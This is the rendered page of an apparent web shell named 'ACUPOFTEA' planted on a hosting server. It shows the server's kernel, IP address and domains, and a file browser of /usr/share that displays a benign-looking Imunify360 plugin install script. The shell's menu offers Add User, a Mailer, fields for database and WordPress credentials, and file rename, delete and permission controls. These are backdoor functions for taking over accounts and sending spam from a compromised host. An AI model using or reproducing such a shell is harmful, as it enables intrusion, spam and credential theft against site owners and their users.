System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
share
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
av-userside-plugin.sh
#!/bin/bash DIRECTADMIN_PLUGIN="/usr/local/directadmin/plugins/Imunify" CPANEL_PLUGIN="/usr/local/cpanel/base/frontend/jupiter/imunify" AV_USERSIDE_PLUGIN_FLAG="/var/imunify360/av-userside-plugin.installed" I360_USERSIDE_PLUGIN_FLAG="/var/imunify360/i360-userside-plugin.installed" IS_I360_PACKAGE=false # Get the name of installed panel get_panel() { if [ -e /usr/local/cpanel/cpanel ]; then printf "cpanel\n" elif [ -e /usr/local/directadmin/directadmin ]; then printf "directadmin\n" elif [ -e /usr/sbin/plesk ]; then printf "plesk\n" else return 1 fi } install_cpanel() { local conf_dir="antivirus_conf" if "${IS_I360_PACKAGE}"; then if [[ -f /var/imunify360/myimunify-freemium.flag ]]; then conf_dir="myimunify_conf" else conf_dir="conf" fi fi for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") if [[ "${theme}" != "jupiter" ]]; then mkdir -p "/usr/local/cpanel/base/frontend/${theme}/imunify" cp -a "${CPANEL_PLUGIN}" "/usr/local/cpanel/base/frontend/${theme}" fi /usr/local/cpanel/scripts/install_plugin "/etc/sysconfig/imunify360/cpanel/${conf_dir}" --theme "${theme}" if "${IS_I360_PACKAGE}" && [[ -e "${AV_USERSIDE_PLUGIN_FLAG}" ]]; then # remove av plugin if it exists /usr/local/cpanel/scripts/uninstall_plugin "/etc/sysconfig/imunify360/cpanel/antivirus_conf" --theme "${theme}" rm -f "${AV_USERSIDE_PLUGIN_FLAG}" fi done touch "$(get_plugin_flag)" } install_directadmin() { local enabled_plugin="${DIRECTADMIN_PLUGIN}/user" local disabled_plugin="${DIRECTADMIN_PLUGIN}/.user" if [[ -d "${disabled_plugin}" ]] && [[ -n "$(ls -A "${disabled_plugin}")" ]]; then rm -rf "${enabled_plugin}" mv "${disabled_plugin}" "${enabled_plugin}" fi touch "$(get_plugin_flag)" } install_plesk() { if ! check_plugin_flag; then touch "$(get_plugin_flag)" fi } remove_cpanel() { local conf_dir="antivirus_conf" if "${IS_I360_PACKAGE}"; then conf_dir="conf" fi for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") /usr/local/cpanel/scripts/uninstall_plugin "/etc/sysconfig/imunify360/cpanel/${conf_dir}" --theme "${theme}" if [[ -d "/usr/local/cpanel/base/frontend/${theme}/imunify" ]]; then rm -rf "/usr/local/cpanel/base/frontend/${theme}/imunify" fi done remove_plugin_flag } remove_directadmin() { local enabled_plugin="${DIRECTADMIN_PLUGIN}/user" local disabled_plugin="${DIRECTADMIN_PLUGIN}/.user" if [[ -d "${enabled_plugin}" ]] && [[ -n "$(ls -A "${enabled_plugin}")" ]]; then rm -rf "${disabled_plugin}" mv "${enabled_plugin}" "${disabled_plugin}" fi remove_plugin_flag } remove_plesk() { if check_plugin_flag; then remove_plugin_flag fi } update_cpanel() { if check_plugin_flag; then install_cpanel else printf "User-side plugin is not installed. Skipping update...\n" fi } update_directadmin() { if ! check_plugin_flag && [[ -e "${DIRECTADMIN_PLUGIN}/user" ]]; then remove_directadmin fi } update_plesk() { install_plesk } update_package_config_cpanel() { for theme_dir in /usr/local/cpanel/base/frontend/*; do [[ -d "${theme_dir}" ]] || continue local theme theme=$(basename "${theme_dir}") local theme_path="/usr/local/cpanel/base/frontend/${theme}/imunify/assets/js/config.js" if [[ -f "${theme_path}" ]]; then if ! grep -q "IMUNIFY_PACKAGE" "${theme_path}"; then printf "var IMUNIFY_PACKAGE = '360'\n" > "${theme_path}" else sed -i -E "s/IMUNIFY_PACKAGE = 'AV'/IMUNIFY_PACKAGE = '360'/" "${theme_path}" fi fi done } update_package_config_directadmin() { install_directadmin } update_package_config_plesk() { printf "Updating package config for Plesk is not implemented.\n" } # Get the appropriate flag based on package type get_plugin_flag() { if "${IS_I360_PACKAGE}"; then echo "${I360_USERSIDE_PLUGIN_FLAG}" else echo "${AV_USERSIDE_PLUGIN_FLAG}" fi } # Check if plugin flag exists based on package type check_plugin_flag() { if "${IS_I360_PACKAGE}"; then # For 360, check if at least one flag exists if [[ -e "${I360_USERSIDE_PLUGIN_FLAG}" ]] || [[ -e "${AV_USERSIDE_PLUGIN_FLAG}" ]]; then return 0 else return 1 fi else # For AV, check only AV flag if [[ -e "${AV_USERSIDE_PLUGIN_FLAG}" ]]; then return 0 else return 1 fi fi } # Remove appropriate flag based on package type remove_plugin_flag() { if "${IS_I360_PACKAGE}"; then rm -f "${I360_USERSIDE_PLUGIN_FLAG}" else rm -f "${AV_USERSIDE_PLUGIN_FLAG}" fi } main() { local panel; panel=$(get_panel) if [[ -z "${panel}" ]]; then printf "Detected panel doesn't support av user side plugin\n" exit 0 fi for arg in "$@"; do if [[ "$arg" =~ ^package= ]]; then local imunify_package="${arg#*=}" if [[ "${imunify_package}" == "360" ]]; then IS_I360_PACKAGE=true else IS_I360_PACKAGE=false fi fi done case "${1}" in "-r") "remove_${panel}" ;; "-u") "update_${panel}" ;; "-update-package") "update_package_config_${panel}" ;; "-i") "install_${panel}" ;; "") "install_${panel}" ;; *) printf "Unrecognized option: %s\n" "${1}" exit 1 ;; esac } main "$@"
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-16 10:59:21
..
DIR
-
drwxr-xr-x
2025-06-28 07:14:01
GeoIP
DIR
-
drwxr-xr-x
2024-03-13 04:38:08
ImageMagick-6
DIR
-
drwxr-xr-x
2025-04-10 10:57:19
Modules
DIR
-
drwxr-xr-x
2024-03-13 04:52:53
X11
DIR
-
drwxr-xr-x
2024-09-25 10:58:41
aclocal
DIR
-
drwxr-xr-x
2025-08-28 10:58:31
aclocal-1.16
DIR
-
drwxr-xr-x
2024-03-13 04:52:52
adobe
DIR
-
drwxr-xr-x
2024-03-13 04:59:10
almalinux-logos
DIR
-
drwxr-xr-x
2024-06-24 01:43:25
almalinux-release
DIR
-
drwxr-xr-x
2024-06-24 12:47:46
anaconda
DIR
-
drwxr-xr-x
2024-06-24 01:43:25
apache2
DIR
-
drwxr-xr-x
2025-10-15 08:39:01
appdata
DIR
-
drwxr-xr-x
2024-03-13 04:59:49
applications
DIR
-
drwxr-xr-x
2024-06-24 01:43:02
atop
DIR
-
drwxr-xr-x
2024-06-24 01:43:02
audit
DIR
-
drwxr-xr-x
2025-07-15 09:41:56
augeas
DIR
-
drwxr-xr-x
2024-03-13 04:19:44
authselect
DIR
-
drwxr-xr-x
2024-03-13 04:20:39
autoconf
DIR
-
drwxr-xr-x
2024-08-14 10:57:23
automake-1.16
DIR
-
drwxr-xr-x
2024-03-13 04:52:52
awk
DIR
-
drwxr-xr-x
2024-03-13 04:20:09
backgrounds
DIR
-
drwxr-xr-x
2021-10-09 09:45:53
bash-completion
DIR
-
drwxr-xr-x
2025-07-16 07:34:31
bison
DIR
-
drwxr-xr-x
2024-03-13 05:00:41
cloudlinux-linksafe
DIR
-
drwxr-xr-x
2021-07-04 09:40:50
cmake
DIR
-
drwxr-xr-x
2024-04-05 07:56:46
cracklib
DIR
-
drwxr-xr-x
2024-03-13 04:20:14
crypto-policies
DIR
-
drwxr-xr-x
2024-03-13 04:20:13
dbus-1
DIR
-
drwxr-xr-x
2025-08-28 10:58:30
desktop-directories
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
dict
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
doc
DIR
-
drwxr-xr-x
2025-10-09 10:58:24
dovecot
DIR
-
drwxr-xr-x
2024-03-13 04:50:38
dpkg
DIR
-
drwxr-xr-x
2024-03-13 05:00:36
emacs
DIR
-
drwxr-xr-x
2025-07-15 10:02:18
empty
DIR
-
dr-xr-xr-x
2021-10-09 08:49:37
enchant-2
DIR
-
drwxr-xr-x
2024-03-13 05:03:37
et
DIR
-
drwxr-xr-x
2025-10-09 10:58:21
factory
DIR
-
drwxr-xr-x
2025-04-22 01:58:45
file
DIR
-
drwxr-xr-x
2025-10-09 10:58:22
firstboot
DIR
-
drwxr-xr-x
2024-06-24 01:43:25
fontconfig
DIR
-
drwxr-xr-x
2024-03-13 04:40:12
fonts
DIR
-
drwxr-xr-x
2024-03-13 04:59:49
games
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
gawk
LINK
-
drwxr-xr-x
2024-03-13 04:20:09
gcc-8
DIR
-
drwxr-xr-x
2025-08-26 09:44:59
gdb
DIR
-
drwxr-xr-x
2025-08-26 09:45:18
gettext
DIR
-
drwxr-xr-x
2024-03-13 05:00:23
gettext-0.19.8
DIR
-
drwxr-xr-x
2024-03-13 04:20:24
ghostscript
DIR
-
drwxr-xr-x
2025-06-03 02:48:16
glib-2.0
DIR
-
drwxr-xr-x
2025-07-16 07:34:39
gnome
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
gnupg
DIR
-
drwxr-xr-x
2024-03-13 04:21:02
graphviz
DIR
-
drwxr-xr-x
2024-04-06 12:47:12
groff
DIR
-
drwxr-xr-x
2024-03-13 04:20:03
grub
DIR
-
drwxr-xr-x
2025-10-09 10:58:23
gtk-2.0
DIR
-
drwxr-xr-x
2021-04-06 01:52:20
gtk-doc
DIR
-
drwxr-xr-x
2025-08-06 01:59:34
help
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
hwdata
DIR
-
drwxr-xr-x
2024-06-24 12:47:46
i18n
DIR
-
drwxr-xr-x
2025-08-05 02:01:01
icons
DIR
-
drwxr-xr-x
2024-03-13 04:59:02
idl
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
imunify-notifier
DIR
-
drwxr-xr-x
2024-10-25 12:14:24
imunify-pki
DIR
-
drwxr-xr-x
2025-08-04 10:57:23
imunify360
DIR
-
drwxr-xr-x
2025-09-15 10:57:15
info
DIR
-
drwxr-xr-x
2025-10-09 10:59:21
iso-codes
DIR
-
drwxr-xr-x
2024-03-13 05:03:46
kcare
DIR
-
drwxr-xr-x
2025-10-03 10:57:22
kdump
DIR
-
drwxr-xr-x
2024-09-24 08:36:00
keyutils
DIR
-
drwxr-xr-x
2024-03-13 05:00:08
libgpg-error
DIR
-
drwxr-xr-x
2024-03-13 04:19:54
libreport
DIR
-
drwxr-xr-x
2024-03-13 04:19:42
libthai
DIR
-
drwxr-xr-x
2024-03-13 04:59:42
libtool
DIR
-
drwxr-xr-x
2024-03-13 05:00:38
libwmf
DIR
-
drwxr-xr-x
2024-03-13 05:00:30
licenses
DIR
-
drwxr-xr-x
2025-04-15 10:57:47
locale
DIR
-
drwxr-xr-x
2025-08-07 11:00:39
lua
DIR
-
drwxr-xr-x
2024-06-24 01:43:25
lve
DIR
-
drwxr-xr-x
2024-06-24 01:43:26
makedumpfile
DIR
-
drwxr-xr-x
2024-09-24 08:36:00
man
DIR
-
drwxr-xr-x
2024-06-24 01:43:02
mc
DIR
-
drwxr-xr-x
2024-06-24 01:43:03
metainfo
DIR
-
drwxr-xr-x
2024-06-24 01:42:55
microcode_ctl
DIR
-
drwxr-xr-x
2025-07-15 09:51:23
mime
DIR
-
drwxr-xr-x
2024-06-24 12:50:20
mime-info
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
misc
DIR
-
drwxr-xr-x
2025-10-09 10:58:22
modulefiles
DIR
-
drwxr-xr-x
2023-10-14 06:46:13
myspell
DIR
-
drwxr-xr-x
2019-10-13 08:33:14
mysql
DIR
-
drwxr-xr-x
2025-08-07 11:01:09
nano
DIR
-
drwxr-xr-x
2024-09-25 10:59:05
omf
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
os-prober
DIR
-
drwxr-xr-x
2024-03-13 04:20:24
p11-kit
DIR
-
drwxr-xr-x
2024-04-06 02:16:12
perl5
DIR
-
drwxr-xr-x
2025-07-29 10:57:25
pgsql
DIR
-
drwxr-xr-x
2025-02-25 10:57:30
pixmaps
DIR
-
drwxr-xr-x
2024-06-24 01:43:25
pkgconfig
DIR
-
drwxr-xr-x
2025-07-16 10:59:05
pki
DIR
-
drwxr-xr-x
2024-08-21 07:20:50
plymouth
DIR
-
drwxr-xr-x
2021-10-09 09:45:53
pmdk
DIR
-
drwxr-xr-x
2024-03-13 04:50:59
polkit-1
DIR
-
drwxr-xr-x
2024-05-29 12:51:39
postgresql-setup
DIR
-
drwxr-xr-x
2024-06-24 01:49:50
publicsuffix
DIR
-
drwxr-xr-x
2024-03-13 04:19:11
python2-wheels
DIR
-
drwxr-xr-x
2024-06-24 12:45:04
python3-wheels
DIR
-
drwxr-xr-x
2025-07-16 10:59:07
qemu-kvm
DIR
-
drwxr-xr-x
2024-03-13 04:35:39
redhat-release
LINK
-
drwxr-xr-x
2024-06-24 12:47:46
screen
DIR
-
drwxr-xr-x
2024-03-13 04:35:44
selinux
DIR
-
drwxr-xr-x
2024-12-17 04:07:40
sgml
DIR
-
drwxr-xr-x
2024-03-13 05:03:46
smartmontools
DIR
-
drwxr-xr-x
2024-06-24 12:46:52
snmp
DIR
-
drwxr-xr-x
2025-10-07 09:19:26
sounds
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
sssd
DIR
-
drwxr-xr-x
2025-06-05 10:57:18
sssd-kcm
DIR
-
drwxr-xr-x
2025-06-05 10:57:18
systemd
DIR
-
drwxr-xr-x
2025-04-23 10:57:56
systemtap
DIR
-
drwxr-xr-x
2025-07-28 08:07:19
tabset
DIR
-
drwxr-xr-x
2024-03-13 04:19:11
tcl8
DIR
-
drwxr-xr-x
2024-03-13 04:40:11
tcl8.6
DIR
-
drwxr-xr-x
2024-03-13 04:40:11
terminfo
DIR
-
drwxr-xr-x
2024-03-13 04:19:11
themes
DIR
-
drwxr-xr-x
2024-03-13 05:00:14
thumbnailers
DIR
-
drwxr-xr-x
2025-08-07 11:00:57
tk8.6
DIR
-
drwxr-xr-x
2024-03-13 04:40:23
tuned
DIR
-
drwxr-xr-x
2025-03-11 07:42:24
vim
DIR
-
drwxr-xr-x
2025-10-12 12:23:12
wayland-sessions
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
xml
DIR
-
drwxr-xr-x
2024-03-13 05:03:47
xsessions
DIR
-
drwxr-xr-x
2021-10-09 08:49:37
zoneinfo
DIR
-
drwxr-xr-x
2025-04-01 10:57:44
zsh
DIR
-
drwxr-xr-x
2024-03-13 04:20:13
av-userside-plugin.sh
text/x-shellscript
6.01 KB
-rwxr--r--
2025-10-09 10:59:41
config.site
text/plain
880 B
-rw-r--r--
2024-08-13 07:30:48
magic
application/octet-stream
940.67 KB
-rw-r--r--
2025-10-07 06:30:49
~ ACUPOFTEA - mail.ontime-ae.com